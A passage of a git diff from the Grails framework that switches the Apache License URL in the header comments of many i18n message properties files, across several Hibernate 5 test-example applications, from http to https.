index 93d4bc05f7..686f872243 100644
--- a/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_fr.properties
+++ b/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_fr.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_it.properties b/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_it.properties
index 22353b0336..3bb0abe403 100644
--- a/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_it.properties
+++ b/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_it.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_ja.properties b/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_ja.properties
index ba1daf0d6a..bcd6bb99bf 100644
--- a/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_ja.properties
+++ b/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_ja.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_nb.properties b/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_nb.properties
index b2bcb4cfa5..8485b66145 100644
--- a/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_nb.properties
+++ b/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_nb.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_nl.properties b/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_nl.properties
index eb5245ccf5..57360d5c39 100644
--- a/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_nl.properties
+++ b/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_nl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_pl.properties b/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_pl.properties
index 7e17b9b999..2cac9c855b 100644
--- a/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_pl.properties
+++ b/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_pl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_pt_BR.properties b/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_pt_BR.properties
index 2244a40539..474cf326f9 100644
--- a/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_pt_BR.properties
+++ b/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_pt_BR.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_pt_PT.properties b/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_pt_PT.properties
index d432eb5f6e..27aa38dd2b 100644
--- a/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_pt_PT.properties
+++ b/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_pt_PT.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_ru.properties b/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_ru.properties
index 2c7e7cdde7..c5e1d93446 100644
--- a/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_ru.properties
+++ b/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_ru.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_sv.properties b/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_sv.properties
index 694ac13f23..49079027e5 100644
--- a/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_sv.properties
+++ b/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_sv.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_th.properties b/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_th.properties
index 1219a71e4b..9d2ba5ea9d 100644
--- a/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_th.properties
+++ b/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_th.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_zh_CN.properties b/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_zh_CN.properties
index 61a0705aef..181f0a372e 100644
--- a/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_zh_CN.properties
+++ b/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_zh_CN.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages.properties b/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages.properties
index 09d392c881..d71a1fc5cb 100644
--- a/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages.properties
+++ b/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_cs_CZ.properties b/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_cs_CZ.properties
index dc71c205fe..24799b956a 100644
--- a/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_cs_CZ.properties
+++ b/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_cs_CZ.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_da.properties b/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_da.properties
index c3ac9b1929..8effe79084 100644
--- a/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_da.properties
+++ b/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_da.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_de.properties b/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_de.properties
index 18cd4a68b2..fccc6d561e 100644
--- a/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_de.properties
+++ b/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_de.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_es.properties b/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_es.properties
index f8d257c24a..c76df87761 100644
--- a/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_es.properties
+++ b/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_es.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_fr.properties b/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_fr.properties
index 93d4bc05f7..686f872243 100644
--- a/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_fr.properties
+++ b/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_fr.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_it.properties b/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_it.properties
index 22353b0336..3bb0abe403 100644
--- a/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_it.properties
+++ b/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_it.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_ja.properties b/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_ja.properties
index ba1daf0d6a..bcd6bb99bf 100644
--- a/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_ja.properties
+++ b/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_ja.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_nb.properties b/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_nb.properties
index b2bcb4cfa5..8485b66145 100644
--- a/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_nb.properties
+++ b/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_nb.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_nl.properties b/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_nl.properties
index eb5245ccf5..57360d5c39 100644
--- a/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_nl.properties
+++ b/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_nl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_pl.properties b/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_pl.properties
index 7e17b9b999..2cac9c855b 100644
--- a/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_pl.properties
+++ b/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_pl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_pt_BR.properties b/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_pt_BR.properties
index 2244a40539..474cf326f9 100644
--- a/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_pt_BR.properties
+++ b/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_pt_BR.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_pt_PT.properties b/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_pt_PT.properties
index d432eb5f6e..27aa38dd2b 100644
--- a/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_pt_PT.properties
+++ b/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_pt_PT.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_ru.properties b/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_ru.properties
index 2c7e7cdde7..c5e1d93446 100644
--- a/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_ru.properties
+++ b/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_ru.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_sv.properties b/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_sv.properties
index 694ac13f23..49079027e5 100644
--- a/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_sv.properties
+++ b/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_sv.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_th.properties b/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_th.properties
index 1219a71e4b..9d2ba5ea9d 100644
--- a/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_th.properties
+++ b/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_th.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_zh_CN.properties b/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_zh_CN.properties
index 61a0705aef..181f0a372e 100644
--- a/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_zh_CN.properties
+++ b/grails-test-examples/hibernate5/grails-hibernate/grails-app/i18n/messages_zh_CN.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages.properties b/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages.properties
index 09d392c881..d71a1fc5cb 100644
--- a/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages.properties
+++ b/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_cs_CZ.properties b/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_cs_CZ.properties
index dc71c205fe..24799b956a 100644
--- a/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_cs_CZ.properties
+++ b/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_cs_CZ.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_da.properties b/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_da.properties
index c3ac9b1929..8effe79084 100644
--- a/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_da.properties
+++ b/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_da.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_de.properties b/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_de.properties
index 18cd4a68b2..fccc6d561e 100644
--- a/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_de.properties
+++ b/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_de.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_es.properties b/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_es.properties
index f8d257c24a..c76df87761 100644
--- a/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_es.properties
+++ b/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_es.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_fr.properties b/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_fr.properties
index 93d4bc05f7..686f872243 100644
--- a/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_fr.properties
+++ b/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_fr.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_it.properties b/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_it.properties
index 22353b0336..3bb0abe403 100644
--- a/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_it.properties
+++ b/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_it.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_ja.properties b/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_ja.properties
index ba1daf0d6a..bcd6bb99bf 100644
--- a/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_ja.properties
+++ b/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_ja.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_nb.properties b/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_nb.properties
index b2bcb4cfa5..8485b66145 100644
--- a/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_nb.properties
+++ b/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_nb.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_nl.properties b/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_nl.properties
index eb5245ccf5..57360d5c39 100644
--- a/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_nl.properties
+++ b/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_nl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_pl.properties b/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_pl.properties
index 7e17b9b999..2cac9c855b 100644
--- a/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_pl.properties
+++ b/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_pl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_pt_BR.properties b/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_pt_BR.properties
index 2244a40539..474cf326f9 100644
--- a/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_pt_BR.properties
